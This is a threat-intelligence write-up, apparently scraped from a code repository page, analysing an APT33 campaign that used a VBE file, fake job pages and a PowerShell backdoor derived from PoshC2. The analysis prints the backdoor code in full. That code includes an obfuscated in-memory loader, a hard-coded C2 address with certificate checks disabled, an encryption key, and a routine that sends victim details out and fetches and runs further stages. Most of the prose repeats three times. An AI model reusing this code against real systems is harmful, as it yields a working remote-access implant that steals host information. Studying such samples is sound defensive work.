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Update Analysis APT33.md

2019-11-18 16:37:14 +01:00

13 KiB

Raw Blame History

APT33 continue to target US companies

Malware analysis
Threat Intelligence
Cyber kill chain
Indicators Of Compromise (IOC)
References MITRE ATT&CK Matrix
Knowledge Graph
Links

Malware analysis

The initial sample reported as VBE file by APT33. The fact to use VBScript Encoded Script File as vector have been firstly observed on the Muddywater group and after APT33, this TTPs is currently used by the both Iranian groups in theirs operations. Firstly, we can confirm that an VBE file by the magic number sequence ```23 40 7E (in ASCII "#@~")```.

Once decoded, we can observed the first layer of the powershell script, this use a common series of techniques for obfuscate the payload. This decode in base 64 a stream of a zip file, extract it in the memory and execute the code still in memory.


powershell /w 1 IEX(New-Object IO.StreamReader((New-Object System.IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String('H4sIAJ0RyV0C/51WW3PaOhB+96/QePyAWyxugbRheCAOadKEhAM0nTaTOSPsBVSM5cpyCOHw38/KNpekTdJzMnlAq719u592fTtYxgrm9AoUHYC85x70BA9Vl4VsAvLu6EhLQbogFR9zjym4YQH3meIidFkQjJg3Iy2yspRMYG1Ysdcyp0pF8VGpVK3UaLV6SCv1Oq3Wjw4OaiYqvHZfGrERBE4kguWYB0GpQWu0clAyjXESejokcdtdUrBmsCxa5zf2ylByicEZpnAFC+d69AM8Rcwc1QC8RHK1pK5cRkpMJIumS9rnP0KfQZBh9E1jTRCXN/2vftoQZ+dN4aS45z5IE8vAaFf4gN5uX3Xh8mgKUqtipd1jVxv2mO/zcPKmba6XG38HKWJtfhwIbzbgjzp4pfpBiy5gmQuq9YbBx1hArJ2x2vykE1DDZQQFm16xORAHfiJ0JdG7iWro4fxmLx1XhMgIhUFPpZgfsxgaB5l26ndtQBDDzgxla2OdxcK+bePi77cDY+p/GFm73gudGWqpDm6x9Y5CnSt3Q6EkRApZo70QQ3hQtBN6QtcWA30Znn6gn0AdLxXEBW1gpCzRPNQ+DEvXFQO6EvBxoGXaI1lAvbG+ATqULIzHQs5PeciCtD8Fa1Qk5SKxRvQSwoma2sbtCCPc3t0RK8ocYvHeE2ts/Ap+KJ5Cj2xjD95JZwsPQu85vtdKqNUNK2va6LZM8WHePUWrm2lY/j7iE9hDnOgb/0XElcYeZOLg2TbeKvwmucTew4hy5yuMvIBDqBCtK8SMg01WWXIFfX+CyRHnFLNg+JJ9v9Ttlpb4Z9rNTOsWpxgoPtfPp8dkDJ0H5qmC5Rf3tYtWmASBtpm9bGNWqiX8r5YrH83fW2eUJ06gsECYKDxwhbxMYpChpn6LmDgcIxbHCyH9zVGKh2Uig/y48J6Op73ZjcVw02I0DcOatlA7DYhFZqFPCsiRGNseY+0UGwVA3cv+TXamXfZDSOJMFKnaNmaGYegZMBxkMW37fsE8E7FCINP8efEx+rVXOOklj9TR3jy39MVLI7y5NfCeWeh5+TzmF6yL054gIKxnVzyiJ1aq0zIpfOWhLxYxuRqSSpmWmwQFjYMmeWgc2KQdRQFgLS64KtVrh7TWIIWLs2H3skgCPgPkjTcTNnGnyH0oHTZomdY+lD/SSrlMBmzMJM/NcPz8klMfxiBxvBdNvE3Lu+lPSrxF9Fp3elp1Z1FM9+WGF1sWpN3asiB12xsM9APMnu1QOOkygOxV7FSJ0457AeOhfkYp6z1AyuJ89ST4MXoIMTORZRZnmc3T/TfHGlOWKDFPdzrtDfBd+yjkLCDbzIo6j6YGSXfX2u02RBPXqKYHWRFdOWzgCYxZEqhn+hp3k2QtT4uihYsIRbm58bb5zvh5Nijfk+ic0gJ7m/lAnnf1dq9NZ8jKPvxMIFaZil7KqWUR1xLE+rmcn7TyaWPaGQqyN5ciiaNBagxe8rsF3sOueTxiAc1pfJ6mqpYYCWeWm0iJZz1JX2DTy562AkSb6CU1+aMEjhMeqPOwLwI90tr+nIc8VpLhQM+4iR0/jzOFAjq18eVD0DLfmWvdruyALxi/w1ZW0kqDU82Y93iTf1itUkcQ3h/tiK43vZUJPTGPEpVd2JZpr3LPSeuJzRqrLVrmVuYjY3nYtJLmL14ySa9/7XYGg+v+3+2+e3Y+7LjDL/1O04q433ztEzX7pIyiFu5D4uitd1iNP8/mwfzg0/fltwU8fvs5a/SHl8n08bOML+4rlb8uknq7Ep4OvRZxkpBYYvdNiY7MTr9/3ddzLidIvqJ2K8zJOIUPOrIp9iUMBPPjfPXF2E5NBx/+Vz4aRh44H1u4hvQ0NN+hs3emnvnRP4TDg/5UStFn2lsMa2OgmFTOIACISK1c/gOtxota/wJs3EOYdAwAAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

On the second layer, we can see multiple bloc of fuctions and variables. The first bloc content the parameters like IP, the validation for check the validity of the certificate and URL

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$IP="https://213.227.155.25:443"
$URL="https://213.227.155.25:443/babel-polyfill/6.3.14/"

The next bloc content the functions for decode and encode in RC4. This is used for obfuscated the strings and communcations between the client and the server C2

function CAM ($key,$IV)
{
    try {$a = New-Object "System.Security.Cryptography.RijndaelManaged"} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"}
    $a.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $a.BlockSize = 128
    $a.KeySize = 256
    if ($IV)
    {
        if ($IV.getType().Name -eq "String") { $a.IV = [System.Convert]::FromBase64String($IV) }
        else {$a.IV = $IV}
    }
    if ($key)
    {
        if ($key.getType().Name -eq "String"){ $a.Key = [System.Convert]::FromBase64String($key) }
        else{$a.Key = $key}
    }
    $a
}
function ENC ($key,$un)
{
    $b = [System.Text.Encoding]::UTF8.GetBytes($un)
    $a = CAM $key
    $e = $a.CreateEncryptor()
    $f = $e.TransformFinalBlock($b, 0, $b.Length)
    [byte[]] $p = $a.IV + $f
    [System.Convert]::ToBase64String($p)
}
function DEC ($key,$enc)
{
    $b = [System.Convert]::FromBase64String($enc)
    $IV = $b[0..15]
    $a = CAM $key $IV
    $d = $a.CreateDecryptor()
    $u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
    [System.Text.Encoding]::UTF8.GetString($u)
}

The next function is used for check the local time and trigged a kill switch if this after the 12th December 2019. Once this check this setup the proxy settings if the version of the CLR is at least over the second version.

function Get-Webclient ($Cookie) 
{
    #Kill switch
    $date = (Get-Date -Format "dd/MM/yyyy");
    $date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null);
    $EndOp = [datetime]::ParseExact("12/12/2019","dd/MM/yyyy",$null);
    if ($EndOp -lt $date) {exit}

    $username = ""
    $password = ""
    $proxyurl = ""
    $webclient = New-Object System.Net.WebClient;
    $h=""
    #check the version of the common language runtime (CLR)
    if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$webclient.Headers.Add("Host",$h)}
    elseif($h)
    {
        $script:s="https://$($h)/babel-polyfill/6.3.14/"
        $script:sc="https://$($h)"
    }
    $webclient.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36")
    $webclient.Headers.Add("Referer","")
    if ($proxyurl) 
    {
        $webproxy = New-Object System.Net.WebProxy($proxyurl,$true);
        if ($username -and $password) 
        {
            $PSS = ConvertTo-SecureString $password -AsPlainText -Force
            $getcreds = new-object system.management.automation.PSCredential $username,$PSS
            $webproxy.Credentials = $getcreds
        } 
        else { $webclient.UseDefaultCredentials = $true }
        $webclient.Proxy = $webproxy; 
    } 
    else 
    {
        $webclient.UseDefaultCredentials = $true;
        $webclient.Proxy.Credentials = $webclient.Credentials;
    } 
    if ($cookie) { $webclient.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
    $webclient 
}

The main function is called 3 times for download the next stage of the payload, decode with the secret of the RC4 algorithm and execute it. By the same time send informations of the victim to C2 as new session created.

function main 
{
    $cu = [System.Security.Principal.WindowsIdentity]::GetCurrent()
    $webproxy = New-Object System.Security.Principal.WindowsPrincipal($cu)
    $ag = [System.Security.Principal.WindowsBuiltInRole]::Administrator
    if ($webproxy.IsInRole($ag)){$el="*"}else{$el=""}
    try{$u=($cu).name+$el} 
    catch
    {
        if ($env:username -eq "$($env:computername)$"){}
        else{$u=$env:username}
    }
    $o="$env:userdomain;$u;$env:computername;$env:PROCESSOR_ARCHITECTURE;$pid;https://213.227.155.25:443"
    try {$pp=enc -key 72sJkmlm4GZyYwezYqk6RTLuhzJrsKv11QKu5A1nFTc= -un $o}
    catch {$pp="ERROR"}
    $main = (Get-Webclient -Cookie $pp).downloadstring($URL)
    $p = dec -key 72sJkmlm4GZyYwezYqk6RTLuhzJrsKv11QKu5A1nFTc= -enc $main
    if ($p -like "*key*") {$p| iex}
}
try {main} catch {}
Start-Sleep 300
try {main} catch {}
Start-Sleep 600
try {main} catch {}

The first time give the fake job to the victim, if the victim is interesting for APT33, this deploy the next stage else perform an invalid content who are catched and don't show something on the screen.

The fake page redirect by submit buttom to a real job proposed by the same company DynCorp International. An american global service provider. Started as an aviation company, the company also provides flight operations support, training and mentoring, international development, intelligence training and support, contingency operations, security, and operations and maintenance of land vehicles.

Threat Intelligence

The second layer of the powershell backdoor is edited from an open source framework POSHC2 (cf. ressource link). Compared to Muddywater, APT33 have gone to the open source framework probably for financial resson and better payload abilities.

According to Symantec analysis this used the same TTPs with POSHC2 payload sice the last months.

APT33 have since get an watch out for new open-source tools that can be used in their operations. By example, APT33 have been used in the new exploit on winrar archive found by Checkpoint for the campagn of February 2019.

One year ago the same TTPs have begin to show to use fake page who redirect on the offers jobs from the real portal carrers of the companies. Aramco Services Company have been usurped for APT33 the only difference is POSHC2 have remplace the refective loader of the dll.

This can be give an idea of the original way used by APT33, that probably an HTA file used on a spear-phishing compagn.

Cyber kill chain

The process graph resume cyber kill chains used by the attacker :

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)

References MITRE ATT&CK Matrix

Enterprise tactics	Technics used	Ref URL
Execution	Command-Line Interface Scripting PowerShell Execution through API	https://attack.mitre.org/techniques/T1059/ https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1086/ https://attack.mitre.org/techniques/T1106/
Defense Evasion	Scripting Modify Registry	https://attack.mitre.org/techniques/T1064/ https://attack.mitre.org/techniques/T1112/
Discovery	Query Registry	https://attack.mitre.org/techniques/T1012/

13 KiB

Raw Blame History

APT33 continue to target US companies

Table of Contents

Malware analysis

Once decoded, we can observed the first layer of the powershell script, this use a common series of techniques for obfuscate the payload. This decode in base 64 a stream of a zip file, extract it in the memory and execute the code still in memory.

On the second layer, we can see multiple bloc of fuctions and variables. The first bloc content the parameters like IP, the validation for check the validity of the certificate and URL

The next bloc content the functions for decode and encode in RC4. This is used for obfuscated the strings and communcations between the client and the server C2

The next function is used for check the local time and trigged a kill switch if this after the 12th December 2019. Once this check this setup the proxy settings if the version of the CLR is at least over the second version.

The main function is called 3 times for download the next stage of the payload, decode with the secret of the RC4 algorithm and execute it. By the same time send informations of the victim to C2 as new session created.

The first time give the fake job to the victim, if the victim is interesting for APT33, this deploy the next stage else perform an invalid content who are catched and don't show something on the screen.

Threat Intelligence

The second layer of the powershell backdoor is edited from an open source framework POSHC2 (cf. ressource link). Compared to Muddywater, APT33 have gone to the open source framework probably for financial resson and better payload abilities.

According to Symantec analysis this used the same TTPs with POSHC2 payload sice the last months.

APT33 have since get an watch out for new open-source tools that can be used in their operations. By example, APT33 have been used in the new exploit on winrar archive found by Checkpoint for the campagn of February 2019.

One year ago the same TTPs have begin to show to use fake page who redirect on the offers jobs from the real portal carrers of the companies. Aramco Services Company have been usurped for APT33 the only difference is POSHC2 have remplace the refective loader of the dll.

This can be give an idea of the original way used by APT33, that probably an HTA file used on a spear-phishing compagn.

Cyber kill chain

The process graph resume cyber kill chains used by the attacker :

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)

References MITRE ATT&CK Matrix

This can be exported as JSON format Export in JSON

Yara Rules

A list of YARA Rule is available here

Knowledge Graph

The following diagram shows the relationships of the techniques used by the groups and their corresponding malware:

Links

Original tweet:

Links Anyrun:

Ressources :

13 KiB Raw Blame History

APT33 continue to target US companies

Table of Contents

Malware analysis

Once decoded, we can observed the first layer of the powershell script, this use a common series of techniques for obfuscate the payload. This decode in base 64 a stream of a zip file, extract it in the memory and execute the code still in memory.

On the second layer, we can see multiple bloc of fuctions and variables. The first bloc content the parameters like IP, the validation for check the validity of the certificate and URL

The next bloc content the functions for decode and encode in RC4. This is used for obfuscated the strings and communcations between the client and the server C2

The next function is used for check the local time and trigged a kill switch if this after the 12th December 2019. Once this check this setup the proxy settings if the version of the CLR is at least over the second version.

The main function is called 3 times for download the next stage of the payload, decode with the secret of the RC4 algorithm and execute it. By the same time send informations of the victim to C2 as new session created.

The first time give the fake job to the victim, if the victim is interesting for APT33, this deploy the next stage else perform an invalid content who are catched and don't show something on the screen.

Threat Intelligence

The second layer of the powershell backdoor is edited from an open source framework POSHC2 (cf. ressource link). Compared to Muddywater, APT33 have gone to the open source framework probably for financial resson and better payload abilities.

According to Symantec analysis this used the same TTPs with POSHC2 payload sice the last months.

APT33 have since get an watch out for new open-source tools that can be used in their operations. By example, APT33 have been used in the new exploit on winrar archive found by Checkpoint for the campagn of February 2019.

One year ago the same TTPs have begin to show to use fake page who redirect on the offers jobs from the real portal carrers of the companies. Aramco Services Company have been usurped for APT33 the only difference is POSHC2 have remplace the refective loader of the dll.

This can be give an idea of the original way used by APT33, that probably an HTA file used on a spear-phishing compagn.

Cyber kill chain

The process graph resume cyber kill chains used by the attacker :

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)

References MITRE ATT&CK Matrix

This can be exported as JSON format Export in JSON

Yara Rules

A list of YARA Rule is available here

Knowledge Graph

The following diagram shows the relationships of the techniques used by the groups and their corresponding malware:

Links

Original tweet:

Links Anyrun:

Ressources :

13 KiB

Raw Blame History